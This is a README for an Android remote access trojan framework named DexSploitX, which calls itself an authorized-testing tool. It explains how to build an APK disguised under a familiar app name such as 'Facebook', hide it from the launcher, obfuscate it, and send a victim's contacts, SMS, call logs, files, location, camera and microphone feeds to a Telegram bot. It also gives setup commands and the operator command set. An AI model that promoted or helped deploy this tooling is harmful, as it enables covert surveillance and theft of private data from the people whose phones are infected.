🔥 DexSploitX - Advanced Android RAT Framework

Professional Android Remote Access Tool for Authorized Security Testing

Features • Installation • Usage • Documentation • Legal

</div>

📋 Overview

DexSploitX is a powerful Android Remote Access Tool (RAT) framework designed for professional penetration testers and security researchers. It provides comprehensive remote access capabilities for authorized security assessments on Android devices running versions 5.0 through 16 (API 21-36).

🎯 Key Highlights

Zero Configuration APK Builder - Interactive builder with custom branding
Multi-Device Management - Handle multiple connected devices simultaneously
Telegram Integration - Auto-dump data to Telegram for remote operations
Stealth Operations - Hide app from launcher, custom icons, package names
Advanced Permissions - Granular permission selection (13+ permissions)
Live Monitoring - Real-time SMS, location, camera, and audio streaming
File Operations - Upload/download files, directory browsing
Code Protection - Built-in obfuscation tools included

✨ Features

🔧 APK Builder

Interactive Configuration - Easy-to-use command-line interface
Custom Branding - Change app name, package, icon, and website
IP/Port Configuration - Automatic server endpoint configuration
Permission Selection - Choose exactly which permissions to request
Stealth Mode - Hide app from launcher (no icon)
Telegram Auto-Dump - Configure Telegram bot for data exfiltration
Automatic Signing - Built-in APK signing with keystore management

📱 Remote Access Capabilities

Device Information - Complete device specs and system info
Contact Access - Extract all contacts with details
Call Logs - View complete call history
SMS Management - Read all messages + live SMS monitoring
Location Tracking - GPS location with live updates
Camera Streaming - Live camera feed (front/back)
Audio Recording - Live microphone streaming
File Management - Browse, upload, download files
App List - View all installed applications
Vibration Control - Remote device vibration
Sound Playback - Play audio URLs remotely

🌐 Server Features

Multi-Session Management - Handle multiple devices
Telegram Integration - Auto-send data to Telegram bot
HTTP Server - Built-in web interface for camera/audio
Persistent Connections - Auto-reconnect on disconnect
Data Logging - Automatic file saving for all data
Professional UI - Clean command-line interface

🚀 Installation

⚠️ Important: Termux Users

Building APKs on Termux has known compatibility issues due to aapt2 binary incompatibility on aarch64 architecture.

Recommended Workflow:

Build APKs on PC (Windows/Linux/Mac) - Fast and stable
Run Server on Termux (Android device) - Portable and convenient

See TERMUX_SETUP.md for detailed Termux instructions.

Prerequisites

# Required
- Python 3.8 or higher
- Java JDK 8 or higher
- Android SDK (for apksigner/zipalign)

# Optional
- Pillow (for icon customization)
- PyArmor (for advanced obfuscation)

Quick Setup (PC)

# Clone repository
git clone https://github.com/offsecnight/DexSploitX.git
cd DexSploitX

# Install dependencies
pip install -r requirements.txt

# Download apktool
cd Builder
wget https://github.com/iBotPeaches/Apktool/releases/download/v2.9.3/apktool_2.9.3.jar -O apktool.jar

Quick Setup (Termux - Server Only)

# Install Termux from F-Droid
# Then run:
pkg update && pkg upgrade -y
pkg install -y python git
git clone https://github.com/offsecnight/DexSploitX.git
cd DexSploitX
pip install -r requirements.txt

# Start server
python DexSploitX.py -i 0.0.0.0 -p 8080

📖 Usage

Step 1: Build APK

cd Builder
python build.py

Configuration Options:

Server IP and Port
App Name and Package
Website URL
Custom Icon
Telegram Bot Token & Chat ID
Hide App Option
Permission Selection

Example:

[?] Server IP: 192.168.1.100
[?] Server Port: 4444
[?] App Name: Facebook
[?] Package: com.social.app
[?] Enable Telegram auto-dump? (y/n): y
[?] Telegram Bot Token: 123456:ABC-DEF...
[?] Telegram Chat ID: 987654321
[?] Hide app from launcher? (y/n): y

Step 2: Start Server

python DexSploitX.py -i 0.0.0.0 -p 4444

Step 3: Install APK

Transfer the APK from APK/ folder to target device and install.

Step 4: Interact with Device

DexSploitX > sessions              # List connected devices
DexSploitX > session DEVICE_NAME   # Select device
DexSploitX (DEVICE) > help         # Show available commands

🎮 Commands

Session Management

sessions          # List all connected devices
session <name>    # Connect to specific device
back              # Return to main menu
deviceinfo        # Show device information
exit              # Exit DexSploitX

Data Extraction

contacts          # Extract all contacts
calllogs          # Get call history
sms               # Read all SMS messages
applist           # List installed apps
location          # Get current GPS location

Live Monitoring

livesms           # Start live SMS monitoring
stoplive          # Stop live SMS monitoring
camstream [back|front]  # Start camera stream
stopstream        # Stop camera stream
liveaudio         # Start audio recording
stopaudio         # Stop audio recording

File Operations

ls [path]         # List directory contents
pwd               # Show current directory
cd <path>         # Change directory
dump <file>       # Download file
cat <file>        # View file contents
storage           # Show storage info
upload <file>     # Upload file to device
dumpdir <path>    # Download entire directory

Device Control

vibrate [duration]     # Vibrate device (ms)
playsound <url>        # Play audio from URL
stopsound              # Stop audio playback

Telegram Integration

dump-tg-bot <token> [chat_id]  # Configure Telegram bot

🔐 Telegram Integration

DexSploitX supports automatic data exfiltration to Telegram:

Setup Telegram Bot

Create Bot: Message @BotFather on Telegram
Get Token: Copy the bot token (format: 123456:ABC-DEF...)
Get Chat ID: Message @userinfobot to get your chat ID

Configure During Build

[?] Enable Telegram auto-dump? (y/n): y
[?] Telegram Bot Token: YOUR_BOT_TOKEN
[?] Telegram Chat ID: YOUR_CHAT_ID

Configure in Server

DexSploitX > dump-tg-bot YOUR_BOT_TOKEN YOUR_CHAT_ID

Auto-Dump Features:

Contacts → Sent as document
Call Logs → Sent as document
SMS Messages → Sent as document
App List → Sent as document
Files → Sent as document
Live SMS → Instant notification
Location → Real-time updates

� Project Structure

DexSploitX/
├── DexSploitX.py              # Main server
├── config.json                # Telegram configuration
├── requirements.txt           # Python dependencies
├── obfuscate_simple.py        # Simple obfuscator
├── obfuscate.py               # PyArmor obfuscator
├── README.md                  # This file
├── LICENSE                    # License file
├── DOCUMENTATION.md           # Detailed documentation
├── Builder/
│   ├── build.py               # APK builder
│   ├── apktool.jar            # APK decompiler
│   ├── facebook.png           # Default icon
│   └── stub/                  # Pre-built APK stub
│       ├── AndroidManifest.xml
│       ├── res/               # Resources
│       └── smali/             # Decompiled code
├── keystore/
│   └── keystore               # APK signing keystore
├── APK/                       # Built APKs output
└── devices/                   # Collected data storage
    └── DEVICE_NAME/
        ├── contacts.txt
        ├── calllogs.txt
        ├── sms_complete.txt
        ├── applist.txt
        ├── camera_frames/
        └── audio/

🎓 Documentation

Detailed Guides

Complete Documentation - Full feature documentation
Obfuscation Guide - Code protection guide
API Reference - Developer API documentation

Video Tutorials

Installation & Setup
Building Custom APKs
Multi-Device Management
Telegram Integration
Advanced Features

🔧 Advanced Configuration

Custom Keystore

keytool -genkey -v \
  -keystore keystore/keystore \
  -alias key0 \
  -keyalg RSA \
  -keysize 2048 \
  -validity 10000

Custom Stub APK

Replace Builder/stub/ with your own decompiled APK for custom base.

Server Configuration

Edit config.json for persistent Telegram settings:

{
    "telegram_bot_token": "YOUR_TOKEN",
    "telegram_chat_id": "YOUR_CHAT_ID"
}

🐛 Troubleshooting

APK Build Fails

Ensure Java is installed: java -version
Check apktool.jar exists in Builder/
Verify stub/ directory is complete

Connection Issues

Check firewall allows port
Verify IP address is correct
Ensure device has internet connection

Permission Errors

Grant all requested permissions manually
Check Android version compatibility
Disable battery optimization

Telegram Not Working

Verify bot token is correct
Check chat ID is valid
Ensure bot can send messages to you

🤝 Contributing

Contributions are welcome! Please

DexSploitX

Install / Use

README